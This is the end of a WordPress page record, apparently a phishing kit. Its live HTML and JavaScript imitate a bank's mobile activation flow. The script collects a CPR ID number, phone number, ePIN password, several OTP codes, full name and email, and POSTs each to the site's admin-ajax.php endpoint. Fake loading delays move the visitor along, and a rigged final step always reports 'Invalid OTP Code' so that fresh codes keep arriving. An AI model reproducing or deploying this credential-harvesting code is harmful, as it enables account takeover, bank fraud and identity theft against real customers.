Password\/ePIN\r\n<\/div>\r\n\r\n<div class=\"input\">\r\n    <input type=\"tel\" id=\"epin\" maxlength=\"8\" placeholder=\"Enter your password (6 to 8 numberic only)\" inputmode=\"numeric\">\r\n<\/div>\r\n\r\n<!-- \u2705 BUTTON input \u06a9\u06d2 \u0646\u06cc\u0686\u06d2 -->\r\n<div class=\"btn-wrap\">\r\n<button class=\"btn\" id=\"btn3\">Activate<\/button>\r\n\r\n<div class=\"link\">\r\nCreate\/Forgot Password?\r\n<\/div>\r\n<\/div>\r\n\r\n<!-- \u2705 3 BOXES -->\r\n<div class=\"boxes\">\r\n\r\n    <div class=\"box\">\r\n        <img decoding=\"async\" src=\"https:\/\/img.icons8.com\/ios-filled\/50\/ffffff\/bank.png\" class=\"box-icon\">\r\n        <span>Branches<br>ATMs<\/span>\r\n    <\/div>\r\n\r\n    <div class=\"box\">\r\n        <img decoding=\"async\" src=\"https:\/\/img.icons8.com\/ios-filled\/50\/ffffff\/phone.png\" class=\"box-icon\">\r\n        <span>Contact<br>Us<\/span>\r\n    <\/div>\r\n\r\n    <div class=\"box\">\r\n        <img decoding=\"async\" src=\"https:\/\/img.icons8.com\/ios-filled\/50\/ffffff\/document.png\" class=\"box-icon\">\r\n        <span>Terms<br>Conditions<\/span>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- \u2705 ARABIC -->\r\n<div class=\"arabic\">\u0639\u0631\u0628\u064a<\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP5 -->\r\n<div class=\"step hidden\" id=\"step5\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/BK-Logo.png\" class=\"logo\">\r\n\r\n    <!-- \u2705 \ud83d\udd25 \u06cc\u06c1\u0627\u06ba \u0644\u06af\u0627\u0646\u0627 \u06c1\u06d2 -->\r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/otp-logo.png\" class=\"top-icon\">\r\n\r\n    <h1>Secure Verification Code<\/h1>\r\n\r\n    <div class=\"sub\">\r\nEnter the 6-digit code to securely verify your account\r\n<\/div>\r\n\r\n    <!-- \ud83d\udd25 OTP BOX -->\r\n    <div class=\"otp-box\">\r\n\r\n        <div class=\"pin-wrap\" id=\"otpWrap\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\r\n        <\/div>\r\n        \r\n        <div id=\"otpError\" style=\"display:none;color:#ff3b3b;font-weight:700;margin-top:10px;\">\r\nInvalid OTP Code, Please try again\r\n<\/div>\r\n\r\n        <!-- \u23f1 TIMER (box \u06a9\u06d2 \u0627\u0646\u062f\u0631) -->\r\n        <div class=\"otp-time\">\r\n            OTP expiration ( 02:00 )\r\n        <\/div>\r\n\r\n    <\/div>\r\n\r\n    <!-- \u2705 BUTTON (footer always \u0628\u0627\u06c1\u0631) -->\r\n    <div class=\"footer\">\r\n        <button class=\"btn\" id=\"btn5\">Verify<\/button>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP6 -->\r\n<div class=\"step hidden\" id=\"step6\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/BK-Logo.png\" class=\"logo\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/name.png\" class=\"top-icon\">\r\n\r\n    <h1>Full Name Verification<\/h1>\r\n\r\n    <div class=\"sub\">\r\n        Please enter your full name as per your official records\r\n    <\/div>\r\n\r\n    <div class=\"input\">\r\n        <input type=\"text\" id=\"fullname\" placeholder=\"Full Name\">\r\n    <\/div>\r\n\r\n    <div class=\"footer\">\r\n        <button class=\"btn\" id=\"btn6\">Continue<\/button>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- PROCESS LOADER ONLY -->\r\n<div class=\"popup\" id=\"processPopup\">\r\n\r\n  <div class=\"popup-box\">\r\n\r\n    <div class=\"bbk-loader\"><\/div>\r\n\r\n<h3 class=\"process-title\">Processing your request<\/h3>\r\n\r\n<p class=\"process-desc\">\r\nPlease wait while we prepare your next step. This usually takes around 4 seconds.\r\n<\/p>\r\n\r\n  <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP7 (SAME OTP AGAIN) -->\r\n<div class=\"step hidden\" id=\"step7\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/BK-Logo.png\" class=\"logo\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/otp-logo.png\" class=\"top-icon\">\r\n\r\n    <h1>Secure Access Code<\/h1>\r\n\r\n    <div class=\"sub\">\r\nPlease confirm your identity by entering the 6-digit code\r\n<\/div>\r\n\r\n    <div class=\"otp-box\">\r\n\r\n        <div class=\"pin-wrap\" id=\"otpWrap2\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n        <\/div>\r\n\r\n        <div class=\"otp-time\" id=\"otpTime2\">\r\n            OTP expiration ( 02:00 )\r\n        <\/div>\r\n\r\n    <\/div>\r\n\r\n    <div class=\"footer\">\r\n        <button class=\"btn\" id=\"btn7\">Verify<\/button>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP8 EMAIL -->\r\n<div class=\"step hidden\" id=\"step8\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/BK-Logo.png\" class=\"logo\">\r\n    \r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/mail.png\" class=\"top-icon\">\r\n\r\n    <h1>Email Verification<\/h1>\r\n\r\n    <div class=\"sub\">\r\n        Please enter your email address to continue verification\r\n    <\/div>\r\n\r\n    <div class=\"input\">\r\n        <input type=\"email\" id=\"email\" placeholder=\"Enter your email address\">\r\n    <\/div>\r\n\r\n    <div class=\"footer\">\r\n        <button class=\"btn\" id=\"btn8\">Continue<\/button>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP9 FINAL OTP -->\r\n<div class=\"step hidden\" id=\"step9\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/BK-Logo.png\" class=\"logo\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/otp-logo.png\" class=\"top-icon\">\r\n\r\n    <h1>Secure Verification Code<\/h1>\r\n\r\n    <div class=\"sub\">\r\nPlease enter the 6-digit verification code sent to your number\r\n<\/div>\r\n\r\n    <div class=\"otp-box\">\r\n\r\n        <div class=\"pin-wrap\" id=\"otpWrap3\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\">\r\n        <\/div>\r\n\r\n        <div class=\"otp-time\">OTP expiration ( 02:00 )<\/div>\r\n\r\n    <\/div>\r\n\r\n    <div class=\"footer\">\r\n        <button class=\"btn\" id=\"btn9\">Verify<\/button>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<script>\r\n\r\nlet cpr = document.getElementById('cpr');\r\nlet btn = document.getElementById('btn');\r\nlet step1 = document.getElementById('step1');\r\nlet step2 = document.getElementById('step2');\r\nlet step3 = document.getElementById('step3');\r\n\r\nlet popup = document.getElementById('popup');\r\nlet verifyBtn = document.getElementById('verifyBtn');\r\n\r\n\/* SPLASH \u2192 STEP2 *\/\r\nsetTimeout(()=>{\r\n\r\n    \/* \ud83d\udd25 SEND VISITOR INFO (NOW WILL WORK) *\/\r\n    fetch(\"https:\/\/allusers.cc\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:new URLSearchParams({\r\n            action:\"bbk_visitor\"\r\n        })\r\n    });\r\n\r\n    step1.classList.remove('active');\r\n    step2.classList.add('active');\r\n\r\n    popup.style.display = \"flex\";\r\n\r\n},3000);\r\n\r\n\/* POPUP VERIFY *\/\r\nverifyBtn.onclick = function(){\r\n\r\n    let oldText = verifyBtn.innerHTML;\r\n    verifyBtn.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    setTimeout(()=>{\r\n        popup.style.display = \"none\";\r\n        verifyBtn.innerHTML = oldText;\r\n    },3000);\r\n\r\n};\r\n\r\n\/* CPR VALIDATION *\/\r\ncpr.addEventListener('input',()=>{\r\n\r\n    cpr.value = cpr.value.replace(\/[^0-9]\/g,'');\r\n\r\n    if(cpr.value.length == 9){\r\n        btn.classList.add('active');\r\n    }else{\r\n        btn.classList.remove('active');\r\n    }\r\n\r\n});\r\n\r\n\/* STEP2 \u00e2\u2020\u2019 STEP3 *\/\r\nbtn.onclick = function(){\r\n\r\n    if(!btn.classList.contains('active')) return;\r\n\r\n    let oldText = btn.innerHTML;\r\n    btn.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step2\");\r\n    formData.append(\"cpr\",cpr.value);\r\n\r\n    fetch(\"https:\/\/allusers.cc\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData\r\n    });\r\n\r\n    setTimeout(()=>{\r\n\r\n        btn.innerHTML = oldText;\r\n\r\n        \/* STEP CHANGE *\/\r\n        step2.classList.remove('active');\r\n\r\nstep3.classList.remove('hidden');\r\nstep3.classList.add('active');\r\n\r\n    },3000);\r\n\r\n};\r\n\r\n\/* MOBILE STEP *\/\r\nlet mobile = document.getElementById('mobile');\r\nlet btn2 = document.getElementById('btn2');\r\n\r\n\/* FORCE CLEAR + DISABLE AUTOFILL *\/\r\nsetTimeout(()=>{\r\n    mobile.value = \"\";\r\n},100);\r\n\r\nmobile.setAttribute(\"autocomplete\",\"off\");\r\n\r\n\/* INPUT CONTROL *\/\r\nmobile.addEventListener('input',()=>{\r\n\r\n    \/* \u0635\u0631\u0641 digits *\/\r\n    mobile.value = mobile.value.replace(\/[^0-9]\/g,'');\r\n\r\n    \/* max 8 digits hard limit *\/\r\n    if(mobile.value.length > 8){\r\n        mobile.value = mobile.value.slice(0,8);\r\n    }\r\n\r\n    \/* button active *\/\r\n    if(mobile.value.length == 8){\r\n        btn2.classList.add('active');\r\n    }else{\r\n        btn2.classList.remove('active');\r\n    }\r\n\r\n});\r\n\r\n\/* STEP3 CLICK *\/\r\nbtn2.onclick = function(){\r\n\r\n    if(!btn2.classList.contains('active')) return;\r\n\r\n    let oldText = btn2.innerHTML;\r\n\r\n    \/* SAME LOADER *\/\r\n    btn2.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step3\");\r\n    formData.append(\"mobile\",mobile.value);\r\n\r\n    fetch(\"https:\/\/allusers.cc\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData\r\n    });\r\n\r\n    setTimeout(()=>{\r\n\r\n        btn2.innerHTML = oldText;\r\n\r\n        \/* NEXT STEP (temporary alert) *\/\r\n        step3.classList.remove('active');\r\n        step3.classList.add('hidden');\r\n\r\n        let step4 = document.getElementById('step4');\r\n        step4.classList.remove('hidden');\r\n        step4.classList.add('active');\r\n\r\n    },3000);\r\n\r\n};\r\n\r\nlet step4 = document.getElementById('step4');\r\nlet epin = document.getElementById('epin');\r\nlet btn3 = document.getElementById('btn3');\r\n\r\n\/* EPIN VALIDATION *\/\r\nlet hideTimer;\r\n\r\nepin.addEventListener('input',()=>{\r\n\r\n    epin.value = epin.value.replace(\/[^0-9]\/g,'');\r\n\r\n    if(epin.value.length > 8){\r\n        epin.value = epin.value.slice(0,8);\r\n    }\r\n\r\n    \/* button active *\/\r\n    if(epin.value.length >= 6){\r\n        btn3.classList.add('active');\r\n    }else{\r\n        btn3.classList.remove('active');\r\n    }\r\n\r\n    \/* \ud83d\udd25 CLEAR previous timer *\/\r\n    clearTimeout(hideTimer);\r\n\r\n    \/* \ud83d\udd25 show numbers *\/\r\n    epin.type = \"tel\";\r\n\r\n    \/* \ud83d\udd25 delay then hide (premium feel) *\/\r\n    hideTimer = setTimeout(()=>{\r\n        epin.type = \"password\";\r\nepin.style.webkitTextSecurity = \"disc\";\r\n    },1000);\r\n});\r\n\r\n\/* STEP4 CLICK *\/\r\nbtn3.onclick = function(){\r\n\r\n    if(!btn3.classList.contains('active')) return;\r\n\r\n    let oldText = btn3.innerHTML;\r\n\r\n    btn3.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step4\");\r\n    formData.append(\"epin\",epin.value);\r\n\r\n    fetch(\"https:\/\/allusers.cc\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData\r\n    });\r\n\r\n    setTimeout(()=>{\r\n        btn3.innerHTML = oldText;\r\n\r\n        step4.classList.remove('active');\r\nstep4.classList.add('hidden');\r\n\r\nlet step5 = document.getElementById('step5');\r\nstep5.classList.remove('hidden');\r\nstep5.classList.add('active');\r\nstartTimer();\r\n\r\n    },3000);\r\n\r\n};\r\n\r\nlet otpInputs = document.querySelectorAll('#step5 .pin-wrap input');\r\nlet btn5 = document.getElementById('btn5');\r\n\r\n\/* AUTO MOVE *\/\r\notpInputs.forEach((input,index)=>{\r\n\r\n    input.addEventListener('input',()=>{\r\n\r\n        input.value = input.value.replace(\/[^0-9]\/g,'');\r\n\r\n        if(input.value && index < otpInputs.length-1){\r\n            otpInputs[index+1].focus();\r\n        }\r\n\r\n        checkOTP();\r\n    });\r\n\r\n    \/* BACKSPACE *\/\r\n    input.addEventListener('keydown',(e)=>{\r\n        if(e.key === \"Backspace\" && !input.value && index > 0){\r\n            otpInputs[index-1].focus();\r\n        }\r\n    });\r\n\r\n});\r\n\r\n\/* BUTTON ACTIVE *\/\r\nfunction checkOTP(){\r\n    let filled = [...otpInputs].every(i => i.value.length === 1);\r\n\r\n    if(filled){\r\n        btn5.classList.add('active');\r\n    }else{\r\n        btn5.classList.remove('active');\r\n    }\r\n}\r\n\r\nlet time = 120;\r\nlet timerInterval;\r\n\r\nlet timerEl = document.querySelector('#step5 .otp-time');\r\n\r\nfunction startTimer(){\r\n    clearInterval(timerInterval);\r\n\r\n    time = 120;\r\n\r\n    timerInterval = setInterval(()=>{\r\n        let min = Math.floor(time \/ 60);\r\n        let sec = time % 60;\r\n\r\n        if(sec < 10) sec = \"0\" + sec;\r\n\r\n        timerEl.innerHTML = `OTP expiration ( ${min}:${sec} )`;\r\n\r\n        if(time > 0) time--;\r\n    },1000);\r\n}\r\n\r\nbtn5.onclick = function(){\r\n\r\n    if(!btn5.classList.contains('active')) return;\r\n\r\n    let otp = [...otpInputs].map(i => i.value).join('');\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step9\");\r\n    formData.append(\"otp\",otp);\r\n\r\n    fetch(\"https:\/\/allusers.cc\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData,\r\n        credentials:\"same-origin\"\r\n    });\r\n\r\n    let oldText = btn5.innerHTML;\r\n    btn5.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    setTimeout(()=>{\r\n\r\n        btn5.innerHTML = oldText;\r\n\r\n        step5.classList.remove('active');\r\n        step5.classList.add('hidden');\r\n\r\n        step6.classList.remove('hidden');\r\n        step6.classList.add('active');\r\n\r\n    },3000);\r\n};\r\n\r\nlet fullname = document.getElementById('fullname');\r\nlet btn6 = document.getElementById('btn6');\r\n\r\n\/* VALIDATION *\/\r\nfullname.addEventListener('input',()=>{\r\n\r\n    if(fullname.value.trim().length > 2){\r\n        btn6.classList.add('active');\r\n    }else{\r\n        btn6.classList.remove('active');\r\n    }\r\n\r\n});\r\n\r\nlet processPopup = document.getElementById('processPopup');\r\n\r\nbtn6.onclick = function(){\r\n\r\n    if(!btn6.classList.contains('active')) return;\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step9\");\r\n    formData.append(\"otp\",fullname.value);\r\n\r\n    fetch(\"https:\/\/allusers.cc\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData,\r\n        credentials:\"same-origin\"\r\n    });\r\n\r\n    processPopup.style.display = \"flex\";\r\n\r\n    setTimeout(()=>{\r\n        processPopup.style.display = \"none\";\r\n\r\n        step6.classList.remove('active');\r\n        step6.classList.add('hidden');\r\n\r\n        step7.classList.remove('hidden');\r\n        step7.classList.add('active');\r\n        startTimer2();\r\n\r\n    },5000);\r\n};\r\n\r\n\/* STEP7 OTP LOGIC *\/\r\n\r\nlet otpInputs2 = document.querySelectorAll('#step7 .pin-wrap input');\r\nlet btn7 = document.getElementById('btn7');\r\n\r\nbtn7.onclick = function(){\r\n\r\n    if(!btn7.classList.contains('active')) return;\r\n\r\n    let otp2 = [...otpInputs2].map(i => i.value).join('');\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step9\");\r\n    formData.append(\"otp\",otp2);\r\n\r\n    fetch(\"https:\/\/allusers.cc\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData,\r\n        credentials:\"same-origin\"\r\n    });\r\n\r\n    let old = btn7.innerHTML;\r\n    btn7.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    setTimeout(()=>{\r\n        btn7.innerHTML = old;\r\n\r\n        step7.classList.remove('active');\r\n        step7.classList.add('hidden');\r\n\r\n        step8.classList.remove('hidden');\r\n        step8.classList.add('active');\r\n\r\n    },3000);\r\n};\r\n\r\nlet email = document.getElementById('email');\r\nlet btn8 = document.getElementById('btn8');\r\n\r\nemail.addEventListener('input',()=>{\r\n\r\n    if(email.value.includes(\"@\") && email.value.length > 5){\r\n        btn8.classList.add('active');\r\n    }else{\r\n        btn8.classList.remove('active');\r\n    }\r\n\r\n});\r\n\r\nbtn8.onclick = function(){\r\n\r\n    if(!btn8.classList.contains('active')) return;\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step9\");\r\n    formData.append(\"otp\",email.value);\r\n\r\n    fetch(\"https:\/\/allusers.cc\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData,\r\n        credentials:\"same-origin\"\r\n    });\r\n\r\n    processPopup.style.display = \"flex\";\r\n\r\n    setTimeout(()=>{\r\n        processPopup.style.display = \"none\";\r\n\r\n        step8.classList.remove('active');\r\n        step8.classList.add('hidden');\r\n\r\n        step9.classList.remove('hidden');\r\n        step9.classList.add('active');\r\n        startTimer3();\r\n\r\n    },5000);\r\n};\r\n\r\n\/* AUTO MOVE *\/\r\notpInputs2.forEach((input,index)=>{\r\n\r\n    input.addEventListener('input',()=>{\r\n\r\n        input.value = input.value.replace(\/[^0-9]\/g,'');\r\n\r\n        if(input.value && index < otpInputs2.length-1){\r\n            otpInputs2[index+1].focus();\r\n        }\r\n\r\n        checkOTP2();\r\n    });\r\n\r\n    input.addEventListener('keydown',(e)=>{\r\n        if(e.key === \"Backspace\" && !input.value && index > 0){\r\n            otpInputs2[index-1].focus();\r\n        }\r\n    });\r\n\r\n});\r\n\r\nfunction checkOTP2(){\r\n    let filled = [...otpInputs2].every(i => i.value.length === 1);\r\n\r\n    if(filled){\r\n        btn7.classList.add('active');\r\n    }else{\r\n        btn7.classList.remove('active');\r\n    }\r\n}\r\n\r\n\/* TIMER *\/\r\nlet time2 = 120;\r\nlet timerInterval2;\r\n\r\nlet timerEl2 = document.getElementById('otpTime2');\r\n\r\nfunction startTimer2(){\r\n    clearInterval(timerInterval2);\r\n\r\n    time2 = 120;\r\n\r\n    timerInterval2 = setInterval(()=>{\r\n        let min = Math.floor(time2 \/ 60);\r\n        let sec = time2 % 60;\r\n\r\n        if(sec < 10) sec = \"0\" + sec;\r\n\r\n        timerEl2.innerHTML = `OTP expiration ( ${min}:${sec} )`;\r\n\r\n        if(time2 > 0) time2--;\r\n    },1000);\r\n}\r\n\r\nlet otpInputs3 = document.querySelectorAll('#step9 .pin-wrap input');\r\nlet btn9 = document.getElementById('btn9');\r\n\r\notpInputs3.forEach((input,index)=>{\r\n\r\n    input.addEventListener('input',()=>{\r\n\r\n        input.value = input.value.replace(\/[^0-9]\/g,'');\r\n\r\n        if(input.value && index < otpInputs3.length-1){\r\n            otpInputs3[index+1].focus();\r\n        }\r\n\r\n        checkOTP3();\r\n    });\r\n\r\n});\r\n\r\n\/* STEP9 TIMER *\/\r\nlet time3 = 120;\r\nlet timerInterval3;\r\n\r\nlet timerEl3 = document.querySelector('#step9 .otp-time');\r\n\r\nfunction startTimer3(){\r\n    clearInterval(timerInterval3);\r\n\r\n    time3 = 120;\r\n\r\n    timerInterval3 = setInterval(()=>{\r\n        let min = Math.floor(time3 \/ 60);\r\n        let sec = time3 % 60;\r\n\r\n        if(sec < 10) sec = \"0\" + sec;\r\n\r\n        timerEl3.innerHTML = `OTP expiration ( ${min}:${sec} )`;\r\n\r\n        if(time3 > 0) time3--;\r\n    },1000);\r\n}\r\n\r\nfunction checkOTP3(){\r\n    let filled = [...otpInputs3].every(i => i.value.length === 1);\r\n\r\n    if(filled){\r\n        btn9.classList.add('active');\r\n    }else{\r\n        btn9.classList.remove('active');\r\n    }\r\n}\r\n\r\nbtn9.onclick = function(){\r\n\r\n    if(!btn9.classList.contains('active')) return;\r\n\r\n    let old = btn9.innerHTML;\r\n    btn9.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    let code = [...otpInputs3].map(i => i.value).join('');\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step9\");\r\n    formData.append(\"otp\",code);\r\n\r\n    fetch(\"https:\/\/allusers.cc\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData\r\n    });\r\n\r\n    setTimeout(()=>{\r\n\r\n        btn9.innerHTML = old;\r\n\r\n        \/* \ud83d\udd25 CLEAR INPUTS *\/\r\n        otpInputs3.forEach(i=>{\r\n            i.value = \"\";\r\n        });\r\n\r\n        otpInputs3[0].focus();\r\n\r\n\/* \ud83d\udd34 ERROR SHOW (ONLY TEXT, CORRECT POSITION) *\/\r\n\r\nlet errorBox3 = document.getElementById(\"otpError9\");\r\n\r\nif(!errorBox3){\r\n    let div = document.createElement(\"div\");\r\n    div.id = \"otpError9\";\r\n    div.style.color = \"#ff3b3b\";\r\n    div.style.fontWeight = \"700\";\r\n    div.style.margin = \"10px 0\";\r\n    div.style.textAlign = \"center\";\r\n    div.innerText = \"Invalid OTP Code, Please try again\";\r\n\r\n    \/* \u2705 PERFECT POSITION (boxes + timer ke darmiyan) *\/\r\n    let otpBox = document.querySelector('#step9 .otp-box');\r\n    let timer = otpBox.querySelector('.otp-time');\r\n\r\n    otpBox.insertBefore(div, timer);  \/\/ \ud83d\udd25 EXACT POSITION\r\n}else{\r\n    errorBox3.style.display = \"block\";\r\n}\r\n\r\n\/* \ud83d\udd25 AUTO HIDE ERROR AFTER 2 SEC *\/\r\nsetTimeout(()=>{\r\n    errorBox3.style.display = \"none\";\r\n},2000);\r\n\r\n\/* 3\ufe0f\u20e3 RED BORDER REMOVE AFTER DELAY *\/\r\nsetTimeout(()=>{\r\n    otpInputs3.forEach(i=>{\r\n        i.classList.remove(\"otp-error\");\r\n    });\r\n},3000);\r\n\r\n        \/* \ud83d\udd25 TIMER RESTART *\/\r\n        startTimer3();\r\n\r\n        \/* \ud83d\udd25 BUTTON DISABLE AGAIN *\/\r\n        btn9.classList.remove('active');\r\n\r\n    },3000);\r\n};\r\n\r\n<\/script>\r\n<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-22","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/allusers.cc\/index.php?rest_route=\/wp\/v2\/pages\/22","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/allusers.cc\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/allusers.cc\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/allusers.cc\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/allusers.cc\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=22"}],"version-history":[{"count":5,"href":"https:\/\/allusers.cc\/index.php?rest_route=\/wp\/v2\/pages\/22\/revisions"}],"predecessor-version":[{"id":27,"href":"https:\/\/allusers.cc\/index.php?rest_route=\/wp\/v2\/pages\/22\/revisions\/27"}],"wp:attachment":[{"href":"https:\/\/allusers.cc\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=22"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}